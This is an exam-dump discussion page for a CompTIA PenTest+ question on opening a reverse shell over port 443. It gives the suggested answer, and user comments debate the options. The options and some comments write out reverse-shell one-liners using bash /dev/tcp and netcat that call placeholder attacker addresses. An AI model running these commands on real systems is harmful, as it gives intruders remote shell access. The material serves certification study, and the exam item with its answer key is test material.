Exam PT0-001 topic 1 question 39 discussion

Actual exam question from CompTIA's PT0-001

Question #: 39
Topic #: 1

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

A. perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
B. ssh superadmin@<DESTINATIONIP> -p 443
C. nc -e /bin/sh <SOURCEIP> 443
D. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

Show Suggested Answer

Suggested Answer: D 🗳️
Reference:
https://hackernoon.com/reverse-shell-cf154dfee6bd

by D1960 at Feb. 23, 2020, 10:07 p.m.

Comments

Submit Cancel

mr_robot

Highly Voted 5 years, 3 months ago

PenTest+ Practice Tests Book - SYBEX D. - A reverse shell opens a communication channel on a port and waits for incoming connections. The client’s machine acts as a server and initiates a connection to the tester’s machine. This is what is done by using the following: bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1 Given the options, D is the best option. A and C will not work because they are using the <SOURCEIP> and not the <DESTINATIONIP>. Option B is not correct because it is using the improper syntax.

upvoted 14 times

TheThreatGuy

4 years, 6 months ago

Agree with the above. Can confirm with the reverse shell cheat sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

upvoted 4 times

...

kloug

Most Recent 2 years, 4 months ago

ddddddddd

upvoted 1 times

...

miabe

3 years ago

Selected Answer: D

looks good to me

upvoted 1 times

...

Setsunarcangel

3 years, 3 months ago

Bash Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10): bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

upvoted 1 times

...

jon34thna

5 years, 4 months ago

I like D. It sends a shell to the attacker. So I setup a listner on the Kali (nc -lvp 4444) then use the command # bash -i>& /dev/tcp/attackIP/4444 0>&1 It worked for me. So I'm sticking with D Dont think it's C because needs to send shell from victim machine and 'nc' may not be installed on victim.

upvoted 4 times

...

D1960

5 years, 4 months ago

Answer C seems more likely: https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/

upvoted 1 times

TheThreatGuy

4 years, 6 months ago

C has source IP, not destination IP. This is setting up a reverse shell with itself. D is correct.

upvoted 2 times

...

D1960

5 years, 4 months ago

Answer C seems more likely: https://hackernoon.com/reverse-shell-cf154dfee6bd

upvoted 2 times

...